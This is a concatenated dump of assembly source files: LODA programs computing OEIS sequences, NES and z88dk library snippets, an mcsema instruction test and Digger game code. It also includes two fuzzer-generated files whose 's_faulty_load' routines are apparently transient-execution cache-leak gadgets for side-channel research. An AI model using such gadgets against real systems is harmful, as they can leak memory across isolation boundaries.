[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/136/A136758.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/136/A136758.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A136758: a(n) = leading digit of n! in base 7. ; 1,1,2,6,3,2,2,2,2,3,4,6,1,3,6,1,4,1,3,1,4,1,5,2,1,4,2,1,5,3,2,1,5,3,2,1,1,1,5,4,3,3,2,2,2,2,1,1,1,1,1,1,1,2,2,2,3,3,4,5,6,1,1,1,2,3,4,5,1,1,2,3,4,1,1,2,3,5,1,2,3,5,1,2,3,6,1,3,5,1,2,4,1,2,4,1,2,5,1,2 seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters). lpb $0 mov $1,$0 div $0,7 mul $1,2 add $1,1 lpe sub $1,3 div $1,2 add $1,1 mov $0,$1
31
201
0.56129
750473b4a8a74c9ce0d6a88e76292ffd858f2a06
399
asm
Assembly
oeis/217/A217516.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/217/A217516.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/217/A217516.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A217516: Base-n state complexity of partitioned deterministic finite automaton (PDFA) for the periodic sequence (1234)*. ; 7,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9,8,5,4,9 mov $1,8 pow $1,$0 gcd $0,2 div $1,$0 sub $0,$1 add $0,5 mod $0,10 add $0,10 mod $0,10
30.692308
187
0.598997
46f8b8d41029fab33e2adb2a0372cc5e1e8b90a6
6,443
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_21829_1337.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_21829_1337.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca.log_21829_1337.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r15 push %r8 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x18309, %rbx nop inc %rsi movb $0x61, (%rbx) nop nop nop xor $10968, %rsi lea addresses_UC_ht+0x13449, %r14 nop nop dec %r8 movl $0x61626364, (%r14) nop nop and %rdx, %rdx lea addresses_WT_ht+0x1f49, %rcx nop nop nop cmp $7281, %r15 vmovups (%rcx), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %rbx nop nop nop dec %r8 lea addresses_WC_ht+0xa149, %rdx nop nop nop nop nop add %rcx, %rcx mov $0x6162636465666768, %rbx movq %rbx, (%rdx) nop nop nop nop xor $3445, %r8 lea addresses_WT_ht+0x170c9, %r14 nop nop dec %rsi mov (%r14), %rcx nop nop nop nop xor $2766, %rsi lea addresses_normal_ht+0x3449, %rsi lea addresses_WC_ht+0x17da7, %rdi nop xor %rbx, %rbx mov $72, %rcx rep movsl nop nop sub %rcx, %rcx lea addresses_A_ht+0x1d049, %r8 nop and %rbx, %rbx mov (%r8), %di nop nop nop nop nop dec %rdx lea addresses_UC_ht+0x9b49, %rsi lea addresses_normal_ht+0x3a49, %rdi nop nop cmp $29617, %rbx mov $74, %rcx rep movsw nop nop xor %r15, %r15 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 pop %r15 pop %r14 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r8 push %rbp push %rcx push %rsi // Store lea addresses_A+0x1d689, %r10 add $40241, %r11 mov $0x5152535455565758, %r12 movq %r12, (%r10) nop nop nop and $54541, %rbp // Store lea addresses_A+0x8e69, %r11 nop nop and %rbp, %rbp mov $0x5152535455565758, %r12 movq %r12, %xmm5 vmovups %ymm5, (%r11) nop nop nop nop nop sub %r10, %r10 // Faulty Load mov $0x7f32f0000000449, %r8 nop nop nop nop nop sub %rsi, %rsi movb (%r8), %r11b lea oracles, %r12 and $0xff, %r11 shlq $12, %r11 mov (%r12,%r11,1), %r11 pop %rsi pop %rcx pop %rbp pop %r8 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 4}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 1, 'NT': True, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': True, 'congruent': 8}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': True, 'AVXalign': False, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_UC_ht', 'congruent': 8}, 'dst': {'same': True, 'type': 'addresses_normal_ht', 'congruent': 9}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
35.994413
2,999
0.657613
e8fac4135880fd30168c55e3c17f377cd829f6c3
142
asm
Assembly
mc-sema/validator/x86_64/tests/FINIT.asm
randolphwong/mcsema
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
[ "BSD-3-Clause" ]
2
2021-08-07T16:21:29.000Z
2021-11-17T10:58:37.000Z
mc-sema/validator/x86_64/tests/FINIT.asm
randolphwong/mcsema
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
[ "BSD-3-Clause" ]
null
null
null
mc-sema/validator/x86_64/tests/FINIT.asm
randolphwong/mcsema
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
[ "BSD-3-Clause" ]
null
null
null
BITS 64 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS= ;TEST_FILE_META_END FLDZ ;TEST_BEGIN_RECORDING FINIT ;TEST_END_RECORDING
11.833333
21
0.859155
a59c6ec55b287570c9ce1fcdddff588a40208daa
6,954
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca_notsx.log_21829_752.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca_notsx.log_21829_752.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca_notsx.log_21829_752.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x16b97, %r14 nop nop nop add $49158, %r13 movl $0x61626364, (%r14) nop cmp %rcx, %rcx lea addresses_A_ht+0xe4c7, %rsi nop nop nop nop xor $27135, %r9 mov (%rsi), %r13 nop nop nop nop nop sub %r13, %r13 lea addresses_A_ht+0x2837, %rsi lea addresses_WC_ht+0x14797, %rdi nop nop xor %r11, %r11 mov $109, %rcx rep movsl add $58511, %r14 lea addresses_A_ht+0x7b07, %rsi mfence mov $0x6162636465666768, %rdi movq %rdi, %xmm3 movups %xmm3, (%rsi) nop nop and %rdi, %rdi lea addresses_normal_ht+0x9317, %rsi lea addresses_WT_ht+0x1c0d7, %rdi nop sub %r9, %r9 mov $32, %rcx rep movsw nop inc %r14 lea addresses_normal_ht+0xa597, %rsi lea addresses_A_ht+0x1957, %rdi nop nop inc %rbx mov $81, %rcx rep movsl and %rdi, %rdi lea addresses_D_ht+0x417, %rsi lea addresses_UC_ht+0x88ec, %rdi nop add $34401, %r13 mov $58, %rcx rep movsb nop nop nop add $2329, %r11 lea addresses_WC_ht+0x7eb, %r9 dec %r11 movb (%r9), %cl xor $56263, %rsi lea addresses_UC_ht+0x7a71, %rsi nop nop nop nop nop and $61913, %r11 movw $0x6162, (%rsi) xor $53079, %rbx lea addresses_WC_ht+0x1d897, %r11 xor $16264, %rcx mov (%r11), %r14d dec %r9 lea addresses_normal_ht+0x7217, %rbx nop nop nop sub %r14, %r14 mov $0x6162636465666768, %r13 movq %r13, %xmm7 vmovups %ymm7, (%rbx) nop nop nop nop sub $7989, %r13 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %rbp push %rbx push %rdi // Store lea addresses_A+0x19d97, %rbp nop nop nop cmp %r11, %r11 mov $0x5152535455565758, %rbx movq %rbx, %xmm7 vmovups %ymm7, (%rbp) cmp %rbp, %rbp // Faulty Load lea addresses_A+0x19d97, %r14 nop nop nop nop nop add %rbx, %rbx vmovups (%r14), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $1, %xmm2, %rbp lea oracles, %r12 and $0xff, %rbp shlq $12, %rbp mov (%r12,%rbp,1), %rbp pop %rdi pop %rbx pop %rbp pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 4, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 0, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
38.849162
2,999
0.657895
8ea7c96d9df585b9deafc5e6fd27a1163f91a1c8
679
asm
Assembly
programs/oeis/064/A064865.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/064/A064865.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/064/A064865.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A064865: Fill a triangular array by rows by writing numbers 1, then 1 up to 2^2, then 1 up to 3^2, then 1 up to 4^2 and so on. The final elements of the rows form the sequence. ; 1,2,1,5,1,7,14,6,15,25,11,23,36,14,29,45,13,31,50,6,27,49,72,15,40,66,93,21,50,80,111,22,55,89,124,16,53,91,130,1,42,84,127,171,20,66,113,161,210,35,86,138,191,245,44,100,157,215,274,45,106,168,231,295,36,102,169,237,306,15,86,158,231,305,380,56,133,211,290,370,10,92,175,259,344,430,33,121,210,300,391,483,47,141,236,332,429,527,50,150 mov $2,$0 lpb $0 add $2,$0 sub $0,1 lpe mov $1,$2 seq $1,64866 ; Write numbers 1, then 1 up to 2^2, then 1 up to 3^2, then 1 up to 4^2 and so on. mov $0,$1
56.583333
338
0.67894
f12e0b24ec09238ad89eabdf8b93e553e7990ea0
292
asm
Assembly
test_files/test1.asm
Semnodime/CutterDRcov
7e2efd041662128aaba54dfa6230bedfca36e6fd
[ "MIT" ]
52
2019-03-24T20:33:46.000Z
2021-11-22T00:21:08.000Z
test_files/test1.asm
Semnodime/CutterDRcov
7e2efd041662128aaba54dfa6230bedfca36e6fd
[ "MIT" ]
8
2019-03-24T13:38:08.000Z
2021-12-13T21:19:59.000Z
test_files/test1.asm
Semnodime/CutterDRcov
7e2efd041662128aaba54dfa6230bedfca36e6fd
[ "MIT" ]
10
2019-03-24T14:07:43.000Z
2021-12-07T08:24:30.000Z
SECTION .text GLOBAL _start _start: mov eax, 5 mov ebx, 6 mov ecx, 7 cmp ecx, 6 je BB2 mov eax, 7 jmp BB3 BB2: mov eax, 5 mov ebx, 6 mov ecx, 7 BB3: mov eax,1 ; 'exit' system call mov ebx,0 ; exit with error code 0 int 80h ; call the kernel
14.6
46
0.571918
1fc9bd58f60eb4fb45aa541167a3ac15a98cfd3d
274
asm
Assembly
libsrc/_DEVELOPMENT/font/fzx/c/sdcc_iy/fzx_string_extent_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/font/fzx/c/sdcc_iy/fzx_string_extent_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/font/fzx/c/sdcc_iy/fzx_string_extent_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; uint16_t fzx_string_extent_callee(struct fzx_font *ff, char *s) SECTION code_font SECTION code_font_fzx PUBLIC _fzx_string_extent_callee EXTERN asm_fzx_string_extent _fzx_string_extent_callee: pop af pop hl pop de push af jp asm_fzx_string_extent
14.421053
65
0.788321
b7a600cd298ce4e7b7df3d466c5d3490605ea488
517
asm
Assembly
src/asm/pre.asm
GeekJoystick/mmagedit
aced8c6d6f7d125fe80d7c04fd101569659a1231
[ "MIT" ]
9
2020-08-30T17:42:19.000Z
2022-01-23T04:12:03.000Z
src/asm/pre.asm
GeekJoystick/mmagedit
aced8c6d6f7d125fe80d7c04fd101569659a1231
[ "MIT" ]
4
2020-08-31T11:01:54.000Z
2022-02-27T19:22:45.000Z
src/asm/pre.asm
GeekJoystick/mmagedit
aced8c6d6f7d125fe80d7c04fd101569659a1231
[ "MIT" ]
3
2020-12-20T09:47:22.000Z
2021-05-19T02:16:35.000Z
ifdef USEBASE INCLUDE "inc-base.asm" else INCNES "base.nes" endif ; ignore the base while generating the patch. CLEARPATCH ; macros SEEK EQU SEEKABS SKIP EQU SKIPREL MACRO SUPPRESS ENUM $ ENDM ENDSUPPRESS EQU ENDE MACRO SKIPTO pos if ($ >= 0) SKIP pos - $ ; just to be safe. if ($ != pos) ERROR "failed to skipto." endif endif ENDM FROM EQU SKIPTO MACRO BANK bank SEEK (bank * $4000) + $10 ENDM IFDEF UNITILE PLACE_OBJECTS=1 ENDIF
13.972973
45
0.617021
7be1bb3b2eef8c321f2fdf5a673343d2cb7107f8
266
asm
Assembly
libsrc/_DEVELOPMENT/arch/ts2068/misc/c/sccz80/tshc_visit_wc_attr_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
38
2021-06-18T12:56:15.000Z
2022-03-12T20:38:40.000Z
libsrc/_DEVELOPMENT/arch/ts2068/misc/c/sccz80/tshc_visit_wc_attr_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
2
2021-06-20T16:28:12.000Z
2021-11-17T21:33:56.000Z
libsrc/_DEVELOPMENT/arch/ts2068/misc/c/sccz80/tshc_visit_wc_attr_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
6
2021-06-18T18:18:36.000Z
2021-12-22T08:01:32.000Z
; void tshc_visit_wc_attr(struct r_Rect8 *r, void *function) SECTION code_clib SECTION code_arch PUBLIC tshc_visit_wc_attr_callee EXTERN asm_tshc_visit_wc_attr tshc_visit_wc_attr_callee: pop af pop de pop ix push af jp asm_tshc_visit_wc_attr
14.777778
60
0.785714
d3d0d7e9bd29ac494971a669e08b31cc234e2c0f
25,161
asm
Assembly
digger/dospc.asm
pdpdds/DOSDev
5f81c5f94a55b866461f019e9ba8fe27c74039fa
[ "BSD-3-Clause" ]
92
2015-04-10T17:45:11.000Z
2022-03-30T17:58:51.000Z
digger/dospc.asm
MS-DOS-stuff/reenigne
0a113990aef398550c6f14d1c7a33af1cb091887
[ "Unlicense" ]
2
2017-11-05T07:21:35.000Z
2018-11-04T23:36:13.000Z
digger/dospc.asm
MS-DOS-stuff/reenigne
0a113990aef398550c6f14d1c7a33af1cb091887
[ "Unlicense" ]
18
2015-04-11T20:32:44.000Z
2021-11-06T05:19:57.000Z
; Digger Remastered ; Copyright (c) Andrew Jenner 1998-2004 PUBLIC _olddelay,_getkips,_inittimer,_gethrt,_getlrt PUBLIC _s0initint8,_s0restoreint8,_s0soundoff,_s0setspkrt2,_s0settimer0 PUBLIC _s0timer0,_s0settimer2,_s0timer2,_s0soundinitglob,_s0soundkillglob PUBLIC _s1initint8,_s1restoreint8,_setsounddevice,_initsounddevice PUBLIC _killsounddevice PUBLIC _initkeyb,_restorekeyb,_getkey,_kbhit PUBLIC _graphicsoff,_gretrace PUBLIC _cgainit,_cgaclear,_cgapal,_cgainten,_cgaputi,_cgageti,_cgaputim PUBLIC _cgawrite,_cgagetpix,_cgawrite,_cgatitle PUBLIC _vgainit,_vgaclear,_vgapal,_vgainten,_vgaputi,_vgageti,_vgaputim PUBLIC _vgawrite,_vgagetpix,_vgawrite,_vgatitle _TEXT SEGMENT WORD PUBLIC 'CODE' ;Timing routines _olddelay: PUSH BP SUB SP,6 MOV BP,SP PUSH CX MOV CX,W[_volume] delay0ltop: MOV W[BP+2],0 o24a: MOV AX,W[BP+2] CMP AX,W[BP+0a] JGE o267 MOV W[BP+4],0 o257: CMP W[BP+4],064 JGE o262 INC W[BP+4] JMP o257 o262: INC W[BP+2] JMP o24a 